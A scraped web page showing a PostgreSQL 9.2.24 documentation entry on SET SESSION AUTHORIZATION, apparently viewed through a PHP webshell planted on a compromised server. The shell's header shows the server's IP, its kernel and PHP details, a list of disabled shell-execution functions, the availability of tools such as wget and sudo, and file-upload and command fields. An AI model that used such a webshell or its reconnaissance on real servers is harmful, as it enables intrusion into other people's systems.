403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.227.49.73
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/doc/postgresql-9.2.24/html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/doc/postgresql-9.2.24/html/sql-set-session-authorization.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>SET SESSION AUTHORIZATION</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="SQL Commands"
HREF="sql-commands.html"><LINK
REL="PREVIOUS"
TITLE="SET ROLE"
HREF="sql-set-role.html"><LINK
REL="NEXT"
TITLE="SET TRANSACTION"
HREF="sql-set-transaction.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="REFENTRY"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="SET ROLE"
HREF="sql-set-role.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="sql-commands.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
></TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="SET TRANSACTION"
HREF="sql-set-transaction.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><H1
><A
NAME="SQL-SET-SESSION-AUTHORIZATION"
></A
>SET SESSION AUTHORIZATION</H1
><DIV
CLASS="REFNAMEDIV"
><A
NAME="AEN78997"
></A
><H2
>Name</H2
>SET SESSION AUTHORIZATION&nbsp;--&nbsp;set the session user identifier and the current user identifier of the current session</DIV
><DIV
CLASS="REFSYNOPSISDIV"
><A
NAME="AEN79002"
></A
><H2
>Synopsis</H2
><PRE
CLASS="SYNOPSIS"
>SET [ SESSION | LOCAL ] SESSION AUTHORIZATION <TT
CLASS="REPLACEABLE"
><I
>user_name</I
></TT
>
SET [ SESSION | LOCAL ] SESSION AUTHORIZATION DEFAULT
RESET SESSION AUTHORIZATION</PRE
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN79005"
></A
><H2
>Description</H2
><P
>   This command sets the session user identifier and the current user
   identifier of the current SQL session to be <TT
CLASS="REPLACEABLE"
><I
>user_name</I
></TT
>.  The user name can be
   written as either an identifier or a string literal.  Using this
   command, it is possible, for example, to temporarily become an
   unprivileged user and later switch back to being a superuser.
  </P
><P
>   The session user identifier is initially set to be the (possibly
   authenticated) user name provided by the client.  The current user
   identifier is normally equal to the session user identifier, but
   might change temporarily in the context of <TT
CLASS="LITERAL"
>SECURITY DEFINER</TT
>
   functions and similar mechanisms; it can also be changed by
   <A
HREF="sql-set-role.html"
>SET ROLE</A
>.
   The current user identifier is relevant for permission checking.
  </P
><P
>   The session user identifier can be changed only if the initial session
   user (the <I
CLASS="FIRSTTERM"
>authenticated user</I
>) had the
   superuser privilege.  Otherwise, the command is accepted only if it
   specifies the authenticated user name.
  </P
><P
>   The <TT
CLASS="LITERAL"
>SESSION</TT
> and <TT
CLASS="LITERAL"
>LOCAL</TT
> modifiers act the same
   as for the regular <A
HREF="sql-set.html"
>SET</A
>
   command.
  </P
><P
>   The <TT
CLASS="LITERAL"
>DEFAULT</TT
> and <TT
CLASS="LITERAL"
>RESET</TT
> forms reset the session
   and current user identifiers to be the originally authenticated user
   name.  These forms can be executed by any user.
  </P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN79021"
></A
><H2
>Notes</H2
><P
>   <TT
CLASS="COMMAND"
>SET SESSION AUTHORIZATION</TT
> cannot be used within a
   <TT
CLASS="LITERAL"
>SECURITY DEFINER</TT
> function.
  </P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN79026"
></A
><H2
>Examples</H2
><PRE
CLASS="PROGRAMLISTING"
>SELECT SESSION_USER, CURRENT_USER;

 session_user | current_user 
--------------+--------------
 peter        | peter

SET SESSION AUTHORIZATION 'paul';

SELECT SESSION_USER, CURRENT_USER;

 session_user | current_user 
--------------+--------------
 paul         | paul</PRE
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN79029"
></A
><H2
>Compatibility</H2
><P
>   The SQL standard allows some other expressions to appear in place
   of the literal <TT
CLASS="REPLACEABLE"
><I
>user_name</I
></TT
>, but these options
   are not important in practice.  <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
>
   allows identifier syntax (<TT
CLASS="LITERAL"
>"username"</TT
>), which SQL
   does not.  SQL does not allow this command during a transaction;
   <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> does not make this
   restriction because there is no reason to.
   The <TT
CLASS="LITERAL"
>SESSION</TT
> and <TT
CLASS="LITERAL"
>LOCAL</TT
> modifiers are a
   <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> extension, as is the
   <TT
CLASS="LITERAL"
>RESET</TT
> syntax.
  </P
><P
>   The privileges necessary to execute this command are left
   implementation-defined by the standard.
  </P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN79041"
></A
><H2
>See Also</H2
><A
HREF="sql-set-role.html"
>SET ROLE</A
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="sql-set-role.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="sql-set-transaction.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>SET ROLE</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="sql-commands.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>SET TRANSACTION</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>

Youez - 2016 - github.com/yon3zu
LinuXploit